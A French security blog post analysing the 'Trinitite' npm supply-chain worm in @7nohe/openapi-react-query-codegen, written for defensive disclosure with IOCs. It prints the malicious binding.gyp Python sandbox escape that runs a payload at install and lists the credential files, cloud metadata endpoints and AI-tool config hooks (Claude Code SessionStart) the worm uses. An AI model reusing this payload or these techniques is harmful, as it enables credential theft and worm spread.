Aikido

Un générateur de code populaire pour TanStack Query touché par un ver de la chaîne d'approvisionnement

Écrit par
Ilyas Makari

À peine un jour après l'annonce de l'arrestation de membres de TeamPCP en Australie, nous avons détecté un nouveau malware similaire à TeamPCP qui touche 10 versions d'un paquet npm populaire @7nohe/openapi-react-query-codegen (+150 000 téléchargements par semaine). Toutes ces versions ont été publiées sur npm en l'espace de 20 minutes. Le paquet en question génère des hooks TanStack Query types-safe directement à partir d'un schéma OpenAPI, évitant ainsi aux développeurs d'écrire du code boilerplate à la main.

Le malware se fait appeler "Trinitite: Sponsored by Preview 2 Effects". La trinitite est le matériau vitreux laissé sur le sol du désert après une explosion nucléaire. Les versions précédentes de la charge utile faisaient référence à un script littéralement nommé is_it_this_simple.js, ce qui résume bien l'état d'esprit.

Qu'il s'agisse d'un imitateur, d'un ancien membre ayant échappé aux arrestations ou d'un acteur malveillant totalement indépendant, cela reste flou. Quoi qu'il en soit, l'auteur de cette attaque partage manifestement le goût du théâtral avec TeamPCP.

Le paquet npm et son dépôt GitHub correspondant semblent tous deux avoir été compromis. L'attaquant a obtenu un accès en exploitant une vulnérabilité dans l'un des workflows GitHub Actions du projet. Par conséquent, toutes les versions disposent d'attestations de provenance valides. Il s'agit de certificats cryptographiques prouvant que le paquet a été construit par le workflow officiel GitHub Actions. Cependant, lorsque le workflow lui-même est compromis, ce certificat devient un signal de confiance peu fiable.

L'Escape du bac à sable binding.gyp

Le point d'ancrage de l'exécution initiale est binding.gyp, un fichier normalement utilisé pour configurer la compilation de modules natifs Node.js. J'ai été plutôt surpris de voir cette astuce particulière employée ici, étant donné que j'ai signalé cette classe de vulnérabilité au début de l'année. La technique semble gagner en popularité.

Quand npm install traite un paquet contenant un binding.gyp, il fait appel à node-gyp pour compiler le module natif. node-gyp évalue le champ conditions du fichier en utilisant Python, ce qui signifie que des expressions Python arbitraires peuvent y être placées et seront exécutées lors de l'installation, même sans aucun preinstall script déclaré dans package.json.

Le binding.gyp dans ce paquet se présente comme suit :

{
  "variables": {
    "var": "Frot",
  },
  "conditions":[
     ["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == u'\\U00000063\\U00000061\\U00000074\\U00000063\\U00000068\\U0000005f\\U00000077\\U00000061\\U00000072\\U0000006e\\U00000069\\U0000006e\\U00000067\\U00000073'][0]()._module.__builtins__[u'\\U0000005f\\U0000005f\\U00000069\\U0000006d\\U00000070\\U0000006f\\U00000072\\U00000074\\U0000005f\\U0000005f'](u'\\U0000006f\\U00000073').system(u'\\U0000006E\\U0000006F\\U00000064\\U00000065\\U00000020\\U00000033\\U00000046\\U00000057\\U00000043\\U00000076\\U0000007A\\U00000064\\U00000075\\U00000059\\U0000005A\\U00000067\\U0000002E\\U0000006A\\U00000073') == 0x00", {}],
  ],
  "targets": [
    {
      "target_name": "<(var)",
      "type":"\x6e\x6f\x6e\x65",
      "sources": ["dog.c"],
    }
  ]
}

L'expression conditionnelle est un Escape de bac à sable Python utilisant la catch_warnings classe, accessible en parcourant la hiérarchie des classes depuis (). Une fois décodés, les caractères d'Escape Unicode et hexadécimaux se résolvent ainsi :

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')

Il trouve la catch_warnings classe via l'arborescence des sous-classes internes de Python, l'utilise pour accéder à __builtins__, importe os, et appelle os.system() pour exécuter la charge utile principale avec Node. Le champ type est encodé en hexadécimal aucun afin qu'aucune compilation native ne soit tentée, et le nom de la cible Frot n'a aucune signification. Tout ce fichier n'existe que pour exécuter une seule commande shell.

Il est à noter que toutes les versions compromises n'utilisent pas cette astuce. Les deux versions préliminaires utilisent plutôt un preinstall script direct. 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab s'exécute node nu.js directement. 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be télécharge Bun via wget pipié vers bash et exécute ensuite is_it_this_simple.js.

Cela dit, les versions compromises suivantes ont redoublé d'efforts en combinant les deux vecteurs, associant cette binding.gyp astuce à un "preinstall": "node 3FWCvzduYZg.js" script explicite pour plus de sécurité.

Obfuscation et évasion de bac à sable

3FWCvzduYZg.js est un fichier d'une seule ligne de 5,4 Mo situé à la racine du paquet. Le fichier utilise quatre couches de chiffrement. La couche externe est un tableau d'entiers de 1,6 million d'éléments, soumis à un XOR avec la clé 29. Cela déchiffre un script qui télécharge silencieusement le runtime Bun (dans trinnyyyy-XXXXX le répertoire temporaire du système) et l'utilise pour exécuter la véritable charge utile, chiffrée en AES-128-GCM à l'intérieur. La charge utile interne comprend 800 Ko supplémentaires de JavaScript obfusqué utilisant un chiffrement personnalisé par table mélangée en plus des transformations standard d'obfuscator.io. Entièrement déchiffrée et désobfusquée, elle contient un collecteur d'identifiants, un ver et une commande destructive.

Avant d'effectuer la moindre action, la charge utile vérifie plusieurs conditions et s'arrête silencieusement si l'une d'elles est remplie :

  • La locale du système est le russe (vérifie Intl.DateTimeFormat, LC_ALL, LC_MESSAGES, LANGUAGE, LANG)
  • Présence de répertoires CrowdStrike, SentinelOne ou CarbonBlack
  • Le répertoire de travail commence par /tmp/npm-safe/ ou /opt/hscan-supplychain-dynamic/
  • Les variables d'environnement contiennent des préfixes d'identifiants fictifs connus utilisés par les scanners de sécurité (AKIAFAKE, npm_F4k3NPMToken, sk-ant-api03-fake, ghp_decoyGitHubToken)
  • Le GITHUB_REPOSITORY_OWNER est l'un des nombreux comptes de recherche en sécurité connus (actions-security-demo, h0x0er, varunsh-coder, rohan-stepsecurity)
  • L'outil harden-runner de StepSecurity est actif

Ce qu'il dérobe

La charge utile cible un large éventail d'identifiants, sur les plateformes cloud, les outils de développement et les fichiers locaux.

Tokens GitHub

Recherche les PAT classiques (gh[op]_...) et les jetons à granularité fine (github_pat_...) dans les variables d'environnement et les fichiers locaux. Sur les exécuteurs GitHub Actions, il demande également un jeton OIDC via ACTIONS_ID_TOKEN_REQUEST_TOKEN et ACTIONS_ID_TOKEN_REQUEST_URL.

les jetons npm, PyPI et RubyGems

Lit ~\/.npmrc et recherche d'autres .npmrc fichiers. Extrait les jetons du porteur (bearer tokens) et les valide auprès de registry.npmjs[.]org/-/whoami. Cible les jetons PyPI (pypi-AgEIcHlwaS5vcmcCJ...) et les jetons RubyGems (rubygems_...) par la même méthode.

Identifiants AWS

  • AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, et dix variables d'environnement associées
  • ~/.aws/credentials et ~\/.aws\/config
  • Le service de métadonnées d'instance EC2 sur 169[.]254[.]169[.]254, en essayant d'abord IMDSv2
  • Le point de terminaison des métadonnées du conteneur ECS sur 169[.]254[.]170[.]2
  • Appels sts:GetCallerIdentity pour vérifier les identifiants avant l'exfiltration

identifiants Azure

  • AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID, et le fichier de jeton fédéré
  • point de terminaison d'identité gérée Azure IMDS
  • Accède à Azure Key Vault, Azure Resource Manager et Microsoft Graph API une fois authentifié

identifiants GCP

  • GOOGLE_APPLICATION_CREDENTIALS fichier JSON du compte de service
  • serveur de métadonnées GCP sur metadata[.]google[.]internal
  • Google Secret Manager une fois le jeton obtenu

HashiCorp Vault

  • VAULT_TOKEN_FILE, VAULT_TOKEN_PATH, VAULT_ADDR, VAULT_API_TOKEN
  • Énumère les secrets via /api/v1/system/me, /secrets, /api/v1/namespaces

Kubernetes

  • Jeton de compte de service sur /var/run/secrets/kubernetes.io/serviceaccount/token
  • KUBECONFIG et ~/.kube/config
  • /etc/rancher/k3s/k3s.yaml

Analyse du système de fichiers (plus de 150 motifs glob)

  • Toutes les clés privées SSH : ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id_dsa, ~/.ssh/id*
  • ~/.docker/config.json, /root/.docker/config.json
  • .env, .env.local, .env.production
  • ~/.git-credentials, ~/.gitconfig, ~/.config/git/credentials
  • ~\/.npmrc, ~/.pypirc, ~/.cargo/credentials.toml, ~/.terraform.d/credentials.tfrc.json
  • ~/.bash_history, ~/.zsh_history, ~/.node_repl_history
  • Portes-monnaie crypto : ~/.ethereum/keystore/*, ~/.monero/*, Ledger Live, Exodus
  • Données de session de messagerie : Signal, Telegram Desktop, Discord, Slack, Element
  • Configurations VPN : NordVPN, OpenVPN, ProtonVPN, CyberGhost, Windscribe, PIA
  • Claude AI : ~/.claude.json, ~/.claude/*, ~/.claude/projects/*, ~/.claude/mcp.json
  • Domaines et jetons JFrog Artifactory

Exfiltration

Une fois les identifiants collectés, le payload a besoin d'un dépôt GitHub pour les y téléverser. Comme pour les attaques de type Miasma précédentes, il recherche d'abord dans l'historique des commits publics de GitHub les commits dont le message correspond à "IfYouRevokeThisTokenYourABadUser:{encrypted_token}". Il déchiffre le jeton intégré et utilise ce compte pour créer le dépôt d'exfiltration. Cela signifie que les données volées à une victime se retrouvent dans un dépôt appartenant à un autre utilisateur.

Le nom du dépôt est généré en combinant deux noms de personnages de Touhou Project choisis aléatoirement avec un nombre aléatoire, par exemple cirno-marisa-74291 ou reimu-kogasa-12048. La description du dépôt est définie sur "Trinitite: Sponsored by Preview 2 Effects", ce qui vous permet d'identifier les dépôts d'exfiltration dans la nature :

Les identifiants volés sont validés sous forme de fichiers JSON chiffrés nommés doubletrinnys-{counter}-{timestamp}.json à l'intérieur d'un répertoire results/ . Chaque fichier contient deux champs : enveloppe, le paquet d'identifiants chiffré, et clé, la clé de chiffrement elle-même chiffrée avec la clé publique RSA de l'attaquant. Seul l'attaquant, en possession de la clé privée correspondante, peut déchiffrer le contenu. Les données se trouvent bien en vue sur des dépôts GitHub publics, mais restent illisibles pour quiconque d'autre. Fait intéressant, la plupart des messages de commit se résument à "meow meow meow".

Propagation du ver

Trinitite utilise des jetons volés pour se propager à d'autres paquets et dépôts.

npm, PyPI et RubyGems

Avec un jeton npm volé, la charge utile appelle registry.npmjs[.]org/-/npm/v1/tokens pour trouver le jeton de publication doté du niveau de privilège le plus élevé, puis interroge /v1/search?text=maintainer:{user} pour énumérer chaque paquet appartenant à ce responsable. Elle récupère l'archive tar actuelle pour chaque paquet, y injecte un nouveau binding.gyp contenant le même Escape du bac à sable Python, et y dépose une copie de 3FWCvzduYZg.js, et publie une nouvelle version. Le même schéma s'applique à PyPI (via upload.pypi[.]org/legacy/) et RubyGems (via rubygems[.]org/api/v1/gems). Toutes les requêtes de publication utilisent {tls: {rejectUnauthorized: false}} pour contourner leépinglage de certificat.

Empoisonnement de dépôt GitHub

À l'aide d'un jeton GitHub dérobé, la charge utile énumère tous les dépôts et branches accessibles, en ignorant les branches préfixées par release/, dependabot/, renovate/, et copilot/. Pour chaque branche, elle commite les fichiers suivants :

  • .vscode/tasks.json avec une configuration de lanceur de tâches piégée
  • .claude/settings.json avec un SessionStart un hook qui exécute setup.mjs chaque fois qu'un développeur ouvre le projet dans Claude Code
  • .claude/setup.mjs contenant la charge utile secondaire
  • .vscode/setup.mjs contenant le même
  • .github/workflows/codeql.yml, un faux workflow de sécurité CodeQL qui fait office de porte dérobée
  • .gemini/settings.json, .cursor/rules/debug.mdc, .codex/config.toml, .opencode/plugins/setup.js

Chaque commit est rédigé en tant que github-actions avec le message "chore: update dependencies" et un skip-checks:true trailer pour contourner les contrôles de statut requis.

Comment Aikido détecte cela

Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.

Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.

Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.

Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.

Indicateurs de compromission (IOCs)

‍Versions de paquets

  • @7nohe/openapi-react-query-codegen@0.5.4
  • @7nohe/openapi-react-query-codegen@0.5.5
  • @7nohe/openapi-react-query-codegen@1.6.3
  • @7nohe/openapi-react-query-codegen@1.6.4
  • @7nohe/openapi-react-query-codegen@2.2.1
  • @7nohe/openapi-react-query-codegen@2.2.2
  • @7nohe/openapi-react-query-codegen@3.0.3
  • @7nohe/openapi-react-query-codegen@3.0.4
  • @7nohe/openapi-react-query-codegen@0.0.0-365d4eb738d3146583431948d3ba6e27a32556be
  • @7nohe/openapi-react-query-codegen@0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab

Fichiers

  • 3FWCvzduYZg.js présent à la racine du paquet
    • SHA256: 8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3
    • SHA256: b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6
    • SHA256: 59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380
    • SHA256: 778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c
    • SHA256: b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8
    • SHA256: e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a
    • SHA256: b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237
    • SHA256: 709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8
  • Répertoires temporaires nommés trinnyyyy- suivis de 6 caractères alphanumériques aléatoires (par ex. trinnyyyy-a3f9k2) dans le dossier temporaire du système
Partager :

https://www.aikido.dev/blog/popular-code-generator-for-tanstack-query-hit-by-supply-chain-worm

Analyser les malwares

Commencer gratuitement
4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez vos systèmes dès aujourd'hui,
rapidement et gratuitement.

Sécurisez votre code, votre cloud et votre runtime au sein d'un système centralisé.
Connectez un dépôt pour découvrir ce que les agents de raisonnement trouvent dans votre base de code.

Aucune carte bancaire requise | Résultats de l'analyse en 32 secondes.
Utilisé par plus de 150 000 organisations